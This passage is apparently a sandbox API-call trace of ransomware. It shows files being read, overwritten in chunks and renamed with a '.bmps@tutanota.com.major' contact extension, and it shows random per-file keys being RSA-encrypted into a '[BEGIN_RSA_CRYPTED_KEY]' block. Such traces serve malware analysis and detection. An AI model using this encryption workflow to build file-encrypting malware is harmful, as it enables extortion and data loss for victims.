lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0117.987] CloseHandle (hObject=0x454) returned 1 [0118.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e090 | out: hHeap=0x570000) returned 1 [0118.026] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), lpNewFileName="\\588bce7c90097ed212\\netfx_Core_x86.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0118.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0118.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0118.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0118.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0118.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0118.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0118.028] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0118.028] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Core_x64.msi", dwFileAttributes=0x80) returned 1 [0118.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0118.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0118.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0118.028] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0118.029] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1901056) returned 1 [0118.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1d0200) returned 0x3147020 [0118.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1d0200) returned 0x332d020 [0118.030] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x1d0200, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x1d0200, lpOverlapped=0x0) returned 1 [0118.126] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1901056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.126] WriteFile (in: hFile=0x454, lpBuffer=0x332d020*, nNumberOfBytesToWrite=0x1d0200, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x332d020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1d0200, lpOverlapped=0x0) returned 1 [0118.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3147020 | out: hHeap=0x570000) returned 1 [0118.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x332d020 | out: hHeap=0x570000) returned 1 [0118.142] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1d0200 [0118.142] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0118.142] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0118.142] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0118.142] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0118.143] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0118.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x58e090 [0118.143] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e090, pcchString=0x2e3f9a8 | out: pszString="AIfjeuXUClY0BEtCDRHKcw1wPfv3ocfAPUKXwsrpJU1ospnL+n2iwog/dLz8Etwi\nHOD7dzeDmPHcy+fkDALkezLpO9SbNRdiEnM1OiB96JKG4k7FU6sHoyApyRm3VZj3\nUbElW19Bdm72RSO67pLgAChpyAXXjjRejdy0Jnuo2w7i7FTlfZbY30PNwH0hO7O/\nMpGbdN/2MmwSVtwM856rvLYcxK1iupIT+PkEcaZsh4zr0yUxyL1F5HHXPVvGO94n\ncJrpKYL9hFIpc5SEbatWB6to08O0ozDkEL7an2WZiGbZO0dIzkQqcY5rz8Dpf+EZ\n52MejMcOuM2qz2MncKM0VQ==\n", pcchString=0x2e3f9a8) returned 1 [0118.143] WriteFile (in: hFile=0x454, lpBuffer=0x58e090*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e090*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0118.143] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0118.143] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0118.143] CloseHandle (hObject=0x454) returned 1 [0118.173] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e090 | out: hHeap=0x570000) returned 1 [0118.173] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="\\588bce7c90097ed212\\netfx_Core_x64.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0118.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0118.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0118.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0118.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0118.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0118.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0118.182] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0118.182] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Core.mzz", dwFileAttributes=0x80) returned 1 [0118.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0118.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0118.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0118.182] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0118.183] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=181483595) returned 1 [0118.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14c4e6) returned 0x3147020 [0118.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14c4e6) returned 0x32a2020 [0118.183] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.279] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.279] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.398] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.446] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14c4e6 [0118.446] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.461] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.520] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2989cc [0118.520] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.531] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.620] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e4eb2 [0118.620] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.632] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.669] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x531398 [0118.669] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.678] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.692] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x67d87e [0118.692] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.697] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.724] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7c9d64 [0118.724] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.739] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.754] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x91624a [0118.754] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.786] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.807] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa62730 [0118.807] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.812] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.832] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbaec16 [0118.832] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.858] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.911] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcfb0fc [0118.912] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.922] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.936] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe475e2 [0118.936] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.943] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.961] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf93ac8 [0118.961] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.965] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0118.991] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10dffae [0118.991] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.006] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.228] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x122c494 [0119.228] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.279] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.294] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x137897a [0119.294] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.349] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.376] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14c4e60 [0119.376] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.411] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.434] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1611346 [0119.434] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.447] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.460] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x175d82c [0119.460] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.465] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.482] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18a9d12 [0119.482] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.486] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.530] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19f61f8 [0119.530] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.547] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.690] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b426de [0119.691] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.694] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.810] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c8ebc4 [0119.810] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.814] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.853] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ddb0aa [0119.853] WriteFile (in: hFile=0x454, lpBuffer=0x32a2020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32a2020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c4e6, lpOverlapped=0x0) returned 1 [0119.867] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, 